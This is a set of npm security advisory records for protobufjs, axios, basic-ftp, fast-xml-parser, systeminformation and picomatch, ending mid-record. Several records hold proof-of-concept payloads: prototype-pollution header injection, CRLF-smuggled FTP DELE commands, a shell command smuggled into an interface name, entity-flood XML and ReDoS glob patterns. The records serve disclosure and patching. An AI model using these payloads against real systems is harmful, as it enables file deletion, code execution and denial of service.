{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "protobufjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "protobufjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44293"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-12T15:06:13Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nprotobufjs generated JavaScript for `toObject` conversion could include an unsafe expression derived from a schema-controlled `bytes` field default value. A crafted descriptor with a non-string default value for a `bytes` field could cause attacker-controlled code to be emitted into the generated conversion function.\n\n## Impact\n\nAn attacker who can provide or influence a protobuf descriptor may be able to execute arbitrary JavaScript in the context of the process using protobufjs.\n\nThis requires the application to load an attacker-controlled schema or descriptor and then convert a message of the affected type with defaults enabled. Applications that only use trusted, application-defined schemas are not directly affected by this issue.\n\n## Preconditions\n\n- The application must allow an attacker to control or influence a protobuf JSON descriptor or equivalent reflected schema.\n- The descriptor must define a `bytes` field with an attacker-controlled default value.\n- The application must call `toObject` with defaults enabled for the affected type.\n\n## Workarounds\n\nDo not load protobuf schemas or JSON descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate or restrict field options before loading them and run schema processing in an isolated environment.",
  "id": "GHSA-66ff-xgx4-vchm",
  "modified": "2026-05-12T15:06:13Z",
  "published": "2026-05-12T15:06:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-66ff-xgx4-vchm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/protobufjs/protobuf.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.5.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "protobuf.js: Code injection through bytes field defaults in generated toObject code"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "protobufjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "protobufjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44289"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-12T15:01:05Z",
    "nvd_published_at": "2026-05-13T16:16:55Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nprotobufjs could recurse without a depth limit while decoding nested protobuf data. This affected both skipping unknown group fields and generated decoding of nested message fields.\n\nA crafted protobuf binary payload could cause the JavaScript call stack to be exhausted during decoding.\n\n## Impact\n\nAn attacker who can provide protobuf binary data decoded by an application may be able to crash the process or otherwise cause decoding to fail with a stack overflow.\n\nThis affects applications that decode untrusted protobuf binary input with affected versions.\n\n## Preconditions\n\n- The application must decode protobuf binary data influenced by an attacker.\n- The crafted input must contain deeply nested protobuf structures, such as nested group tags or nested message fields.\n- The affected decoder path must process the crafted input.\n\n## Workarounds\n\nAvoid decoding untrusted protobuf binary data with affected versions. If immediate upgrade is not possible, reject excessively nested messages at an outer protocol boundary where feasible, or isolate protobuf decoding in a process that can be safely restarted.",
  "id": "GHSA-685m-2w69-288q",
  "modified": "2026-05-14T20:35:08Z",
  "published": "2026-05-12T15:01:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-685m-2w69-288q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44289"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/protobufjs/protobuf.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.5.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "protobuf.js: Denial of service through unbounded protobuf recursion"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42035"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113",
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:25:47Z",
    "nvd_published_at": "2026-04-24T18:16:30Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.\n\nThe vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself \u2014 any prototype pollution primitive in any dependency in the application\u0027s dependency tree is sufficient to trigger this gadget.\n\nPrerequisites:\n\nA prototype pollution primitive must exist somewhere in the application\u0027s dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.\nThe application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).\n\n### Details\n\nThe vulnerability is in `lib/adapters/http.js`, in the data serialization pipeline:\n\n```javascript\n// lib/adapters/http.js \n} else if (utils.isFormData(data) \u0026\u0026 utils.isFunction(data.getHeaders)) {\n    headers.set(data.getHeaders());\n    // ...\n}\n```\n\nAxios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:\n\n**1. `utils.isFormData(data)` \u2014 `lib/utils.js`**\n```javascript\nconst isFormData = (thing) =\u003e {\n  let kind;\n  return thing \u0026\u0026 (\n    (typeof FormData === \u0027function\u0027 \u0026\u0026 thing instanceof FormData) || (\n      isFunction(thing.append) \u0026\u0026 ( \n        (kind = kindOf(thing)) === \u0027formdata\u0027 ||  \n        (kind === \u0027object\u0027 \u0026\u0026 isFunction(thing.toString) \u0026\u0026 thing.toString() === \u0027[object FormData]\u0027)\n      )\n    )\n  )\n}\n```\n\n**2. `utils.isFunction(data.getHeaders)` \u2014 Duck-type for `form-data` npm package**\n```javascript\n// Returns true if Object.prototype.getHeaders is a function\nutils.isFunction(data.getHeaders) \n```\n\n### PoC\n\n```javascript\n// Simulate Prototype Pollution\nObject.prototype[Symbol.toStringTag] = \u0027FormData\u0027;\nObject.prototype.append = () =\u003e {};\nObject.prototype.getHeaders = () =\u003e {\n    const headers = Object.create(null);\n    (.... Introduce here all the headers you want ....)\n    return headers;\n};\nObject.prototype.pipe = function(d) { if(d\u0026\u0026d.end)d.end(); return d; };\nObject.prototype.on = function() { return this; };\nObject.prototype.once = function() { return this; };\n\n// Legitimate application code\nconst response = await axios.post(\u0027https://internal-api.company.com/admin/delete\u0027, \n    { userId: 42 },\n    { headers: { \u0027Authorization\u0027: \u0027Bearer VALID_USER_TOKEN\u0027 } }\n);\n```\n\n### Impact\n\n- Authentication Bypass (CVSS: C:H)\n- Session Fixation (CVSS: I:H)\n- Privilege Escalation (CVSS: C:H, I:H)\n- IP Spoofing / WAF Bypass (CVSS: I:H)\n\n**Note on Scope**: There is an argument to promote this from **S:U to S:C** (Scope: Changed), which would raise the score to **10.0**. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (`Authorization`, `X-Role`, `X-User-ID`, `X-Tenant-ID`) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.\n\n### Recommended Fix\n\nAdd an explicit own-property check in `lib/adapters/http.js`:\n\n```diff\n- } else if (utils.isFormData(data) \u0026\u0026 utils.isFunction(data.getHeaders)) {\n-     headers.set(data.getHeaders());\n+ } else if (utils.isFormData(data) \u0026\u0026 utils.isFunction(data.getHeaders) \u0026\u0026\n+            Object.prototype.hasOwnProperty.call(data, \u0027getHeaders\u0027)) {\n+     headers.set(data.getHeaders());\n```",
  "id": "GHSA-6chq-wfr3-2hj9",
  "modified": "2026-05-05T00:25:47Z",
  "published": "2026-05-05T00:25:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42035"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: Header Injection via Prototype Pollution"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.2.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "basic-ftp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T20:18:23Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nbasic-ftp\u0027s CRLF injection protection (added in commit 2ecc8e2 for GHSA-chqc-8p9q-pq6q) is incomplete. Two code paths bypass the `protectWhitespace()` control character check: (1) the `login()` method directly concatenates user-supplied credentials into USER/PASS FTP commands without any validation, and (2) the `_openDir()` method sends an MKD command before `cd()` invokes `protectWhitespace()`, creating a TOCTOU bypass. Both vectors allow an attacker who controls input to inject arbitrary FTP commands into the control connection.\n\n## Details\n\n### Vector 1: Credential Injection (login)\n\nThe `login()` method constructs FTP commands by direct string concatenation with no CRLF validation:\n\n```typescript\n// src/Client.ts:216-231\nlogin(user = \"anonymous\", password = \"guest\"): Promise\u003cFTPResponse\u003e {\n    this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)\n    return this.ftp.handle(\"USER \" + user, (res, task) =\u003e {  // Line 218: no validation on `user`\n        // ...\n        else if (res.code === 331) {\n            this.ftp.send(\"PASS \" + password)  // Line 226: no validation on `password`\n        }\n    })\n}\n```\n\n`FtpContext.send()` writes directly to the TCP socket:\n\n```typescript\n// src/FtpContext.ts:223-227\nsend(command: string) {\n    // ...\n    this._socket.write(command + \"\\r\\n\", this.encoding)\n}\n```\n\nThe `protectWhitespace()` method (line 762) rejects `\\r`, `\\n`, and `\\0` characters \u2014 but it is only called for path-based operations. Credentials never pass through it.\n\nThe public `access()` method (line 268) passes `options.user` and `options.password` directly to `login()` with no sanitization.\n\n### Vector 2: MKD TOCTOU Bypass (_openDir)\n\nThe `_openDir()` method sends an MKD command before the CRLF check in `cd()`:\n\n```typescript\n// src/Client.ts:745-748\nprotected async _openDir(dirName: string) {\n    await this.sendIgnoringError(\"MKD \" + dirName)  // Line 746: sent BEFORE validation\n    await this.cd(dirName)                           // Line 747: protectWhitespace() called here \u2014 too late\n}\n```\n\nThis is called from `ensureDir()` (line 729) which splits a user-supplied remote path by `/` and passes each fragment to `_openDir()`, and from `_uploadToWorkingDir()` (line 679) which passes local directory names read from the filesystem.\n\n## PoC\n\n### Vector 1: Credential Injection\n\n```javascript\nconst ftp = require(\"basic-ftp\");\n\nasync function exploit() {\n    const client = new ftp.Client();\n    client.ftp.verbose = true;\n\n    // Connect to target FTP server\n    await client.access({\n        host: \"target-ftp-server\",\n        port: 21,\n        // Username contains CRLF + injected DELE command\n        user: \"anonymous\\r\\nDELE important.txt\",\n        password: \"guest\"\n    });\n    // Server receives on the wire:\n    //   USER anonymous\\r\\n\n    //   DELE important.txt\\r\\n\n    //   PASS guest\\r\\n\n    // The DELE command executes before PASS is processed\n\n    client.close();\n}\n\nexploit();\n```\n\n### Vector 2: MKD TOCTOU Bypass\n\n```javascript\nconst ftp = require(\"basic-ftp\");\n\nasync function exploit() {\n    const client = new ftp.Client();\n    client.ftp.verbose = true;\n\n    await client.access({\n        host: \"target-ftp-server\",\n        user: \"anonymous\",\n        password: \"guest\"\n    });\n\n    // Path fragment with CRLF \u2014 MKD is sent before cd() validates\n    try {\n        await client.ensureDir(\"test\\r\\nDELE important.txt/subdir\");\n    } catch (e) {\n        // cd() throws after protectWhitespace() rejects, but MKD + DELE already sent\n    }\n    // Server received:\n    //   MKD test\\r\\n\n    //   DELE important.txt\\r\\n\n    //   CWD test\\r\\n  \u003c-- this may fail, but damage is done\n\n    client.close();\n}\n\nexploit();\n```\n\n## Impact\n\nAn attacker who controls credentials or remote paths passed to basic-ftp can inject arbitrary FTP commands into the control connection. This enables:\n\n- **File deletion**: Inject `DELE` commands to remove files on the FTP server\n- **File manipulation**: Inject `RNFR`/`RNTO` to rename files, `MKD`/`RMD` to create/remove directories\n- **Server commands**: Inject `SITE` commands (e.g., `SITE CHMOD`) to change permissions\n- **Session hijacking**: Inject `USER`/`PASS` to re-authenticate as a different user\n\nThe credential injection vector (Vector 1) is particularly dangerous because it occurs before authentication, meaning the injected commands execute with whatever default permissions the server grants during the login handshake.\n\nApplications that accept user-supplied FTP credentials (e.g., web-based file managers, backup tools, deployment systems) are directly vulnerable.\n\n## Recommended Fix\n\nAdd CRLF validation to both code paths:\n\n**1. Validate credentials in `login()`:**\n\n```typescript\n// src/Client.ts:216\nlogin(user = \"anonymous\", password = \"guest\"): Promise\u003cFTPResponse\u003e {\n    if (/[\\r\\n\\0]/.test(user) || /[\\r\\n\\0]/.test(password)) {\n        return Promise.reject(new Error(\"Invalid credentials: Contains control characters\"));\n    }\n    this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)\n    return this.ftp.handle(\"USER \" + user, (res, task) =\u003e {\n        // ... rest unchanged\n    })\n}\n```\n\n**2. Validate dirName in `_openDir()` before sending MKD:**\n\n```typescript\n// src/Client.ts:745\nprotected async _openDir(dirName: string) {\n    if (/[\\r\\n\\0]/.test(dirName)) {\n        throw new Error(\"Invalid path: Contains control characters\");\n    }\n    await this.sendIgnoringError(\"MKD \" + dirName)\n    await this.cd(dirName)\n}\n```\n\nAlternatively, centralize CRLF validation in `FtpContext.send()` so that all FTP commands are protected regardless of the calling code path.",
  "id": "GHSA-6v7q-wjvx-w8wg",
  "modified": "2026-04-10T20:18:23Z",
  "published": "2026-04-10T20:18:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-6v7q-wjvx-w8wg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patrickjuchli/basic-ftp/commit/20327d35126e57e5fdbaae79a4b65222fbadc53c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patrickjuchli/basic-ftp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "basic-ftp: Incomplete CRLF Injection Protection Allows Arbitrary FTP Command Execution via Credentials and MKD Commands"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "protobufjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.0.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "protobufjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44291"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-12T15:01:24Z",
    "nvd_published_at": "2026-05-13T16:16:55Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nprotobufjs used plain objects with inherited prototypes for internal type lookup tables used by generated encode and decode functions. If `Object.prototype` had already been polluted, those lookup tables could resolve attacker-controlled inherited properties as valid protobuf type information.\n\nThis could cause attacker-controlled strings to be emitted into generated JavaScript code.\n\n## Impact\n\nAn attacker who can first trigger a prototype pollution vulnerability may be able to influence generated protobufjs encode or decode functions in a way that can lead to arbitrary JavaScript execution.\n\nThis issue requires a separate prototype pollution primitive before protobufjs is invoked.\n\nApplications without a reachable prototype pollution primitive are not directly exploitable through this issue alone.\n\n## Preconditions\n\n- The application or one of its dependencies must allow an attacker to pollute `Object.prototype`.\n- The polluted property must affect protobufjs internal type lookup behavior.\n- The application must use protobufjs functionality that generates encode or decode code for affected types.\n- The generated code path must be reached after the prototype pollution has occurred.\n\n## Workarounds\n\nAvoid running affected versions in applications where attacker-controlled input can pollute `Object.prototype`. If immediate upgrade is not possible, remove or mitigate reachable prototype pollution primitives and isolate schema/message processing from untrusted application state.",
  "id": "GHSA-75px-5xx7-5xc7",
  "modified": "2026-05-14T20:35:15Z",
  "published": "2026-05-12T15:01:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-75px-5xx7-5xc7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44291"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/protobufjs/protobuf.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.5.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "protobuf.js: Code generation gadget after prototype pollution"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-beta.3"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33036"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-17T19:45:41Z",
    "nvd_published_at": "2026-03-20T06:16:11Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe fix for CVE-2026-26278 added entity expansion limits (`maxTotalExpansions`, `maxExpandedLength`, `maxEntityCount`, `maxEntitySize`) to prevent XML entity expansion Denial of Service. However, these limits are only enforced for DOCTYPE-defined entities. **Numeric character references** (`\u0026#NNN;` and `\u0026#xHH;`) and standard XML entities (`\u0026lt;`, `\u0026gt;`, etc.) are processed through a separate code path that does NOT enforce any expansion limits.\n\nAn attacker can use massive numbers of numeric entity references to completely bypass all configured limits, causing excessive memory allocation and CPU consumption.\n\n## Affected Versions\n\nfast-xml-parser v5.x through v5.5.3 (and likely v5.5.5 on npm)\n\n## Root Cause\n\nIn `src/xmlparser/OrderedObjParser.js`, the `replaceEntitiesValue()` function has two separate entity replacement loops:\n\n1. **Lines 638-670**: DOCTYPE entities \u2014 expansion counting with `entityExpansionCount` and `currentExpandedLength` tracking. This was the CVE-2026-26278 fix.\n2. **Lines 674-677**: `lastEntities` loop \u2014 replaces standard entities including `num_dec` (`/\u0026#([0-9]{1,7});/g`) and `num_hex` (`/\u0026#x([0-9a-fA-F]{1,6});/g`). **This loop has NO expansion counting at all.**\n\nThe numeric entity regex replacements at lines 97-98 are part of `lastEntities` and go through the uncounted loop, completely bypassing the CVE-2026-26278 fix.\n\n## Proof of Concept\n\n```javascript\nconst { XMLParser } = require(\u0027fast-xml-parser\u0027);\n\n// Even with strict explicit limits, numeric entities bypass them\nconst parser = new XMLParser({\n  processEntities: {\n    enabled: true,\n    maxTotalExpansions: 10,\n    maxExpandedLength: 100,\n    maxEntityCount: 1,\n    maxEntitySize: 10\n  }\n});\n\n// 100K numeric entity references \u2014 should be blocked by maxTotalExpansions=10\nconst xml = `\u003croot\u003e${\u0027\u0026#65;\u0027.repeat(100000)}\u003c/root\u003e`;\nconst result = parser.parse(xml);\n\n// Output: 500,000 chars \u2014 bypasses maxExpandedLength=100 completely\nconsole.log(\u0027Output length:\u0027, result.root.length);  // 500000\nconsole.log(\u0027Expected max:\u0027, 100);  // limit was 100\n```\n\n**Results:**\n- 100K `\u0026#65;` references \u2192 500,000 char output (5x default maxExpandedLength of 100,000)\n- 1M references \u2192 5,000,000 char output, ~147MB memory consumed\n- Even with `maxTotalExpansions=10` and `maxExpandedLength=100`, 10K references produce 50,000 chars\n- Hex entities (`\u0026#x41;`) exhibit the same bypass\n\n## Impact\n\n**Denial of Service** \u2014 An attacker who can provide XML input to applications using fast-xml-parser can cause:\n- Excessive memory allocation (147MB+ for 1M entity references)\n- CPU consumption during regex replacement\n- Potential process crash via OOM\n\nThis is particularly dangerous because the application developer may have explicitly configured strict entity expansion limits believing they are protected, while numeric entities silently bypass all of them.\n\n## Suggested Fix\n\nApply the same `entityExpansionCount` and `currentExpandedLength` tracking to the `lastEntities` loop (lines 674-677) and the HTML entities loop (lines 680-686), similar to how DOCTYPE entities are tracked at lines 638-670.\n\n## Workaround\n\nSet `htmlEntities:false`",
  "id": "GHSA-8gc5-j5rx-235r",
  "modified": "2026-03-25T14:31:39Z",
  "published": "2026-03-17T19:45:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-8gc5-j5rx-235r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33036"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/bd26122c838e6a55e7d7ac49b4ccc01a49999a01"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v4.5.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.5.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-xml-parser affected by numeric entity expansion bypassing all entity expansion limits (incomplete fix for CVE-2026-26278)"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "systeminformation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.30.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26280"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-18T21:51:26Z",
    "nvd_published_at": "2026-02-19T20:25:43Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA command injection vulnerability in the `wifiNetworks()` function allows an attacker to execute arbitrary OS commands via an unsanitized network interface parameter in the retry code path.\n\n### Details\nIn `lib/wifi.js`, the `wifiNetworks()` function sanitizes the `iface` parameter on the initial call (line 437). However, when the initial scan returns empty results, a `setTimeout` retry (lines 440-441) calls `getWifiNetworkListIw(iface)` with the **original unsanitized** `iface` value, which is passed directly to `execSync(\u0027iwlist ${iface} scan\u0027)`.\n\n### PoC\n1. Install `systeminformation@5.30.7`\n2. Call `si.wifiNetworks(\u0027eth0; id\u0027)`\n3. The first call sanitizes input, but if results are empty, the retry executes: `iwlist eth0; id scan`\n\n### Impact\nRemote Code Execution (RCE). Any application passing user-controlled input to `si.wifiNetworks()` is vulnerable to arbitrary command execution with the privileges of the Node.js process.",
  "id": "GHSA-9c88-49p5-5ggf",
  "modified": "2026-02-19T21:57:02Z",
  "published": "2026-02-18T21:51:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-9c88-49p5-5ggf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26280"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sebhildebrandt/systeminformation/commit/22242aa56188f2bffcbd7d265a11e1ebb808b460"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sebhildebrandt/systeminformation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Systeminformation has a Command Injection via unsanitized interface parameter in wifi.js retry path"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "picomatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "picomatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "picomatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T21:12:07Z",
    "nvd_published_at": "2026-03-26T22:16:30Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n`picomatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as `+()` and `*()`, especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.\n\nExamples of problematic patterns include `+(a|aa)`, `+(*|?)`, `+(+(a))`, `*(+(a))`, and `+(+(+(a)))`. In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, `+(a|aa)` compiled to `^(?:(?=.)(?:a|aa)+)$` and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as `+(+(a))` and `*(+(a))` took around 29 seconds to reject a 33-character input on a modern M1 MacBook.\n\nApplications are impacted when they allow untrusted users to supply glob patterns that are passed to `picomatch` for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.\n\n### Patches\nThis issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.\n\nUsers should upgrade to one of these versions or later, depending on their supported release line.\n\n### Workarounds\nIf upgrading is not immediately possible, avoid passing untrusted glob patterns to `picomatch`.\n\nPossible mitigations include:\n- disable extglob support for untrusted patterns by using `noextglob: true`\n- reject or sanitize patterns containing nested extglobs or extglob quantifiers such as `+()` and `*()`\n- enforce strict 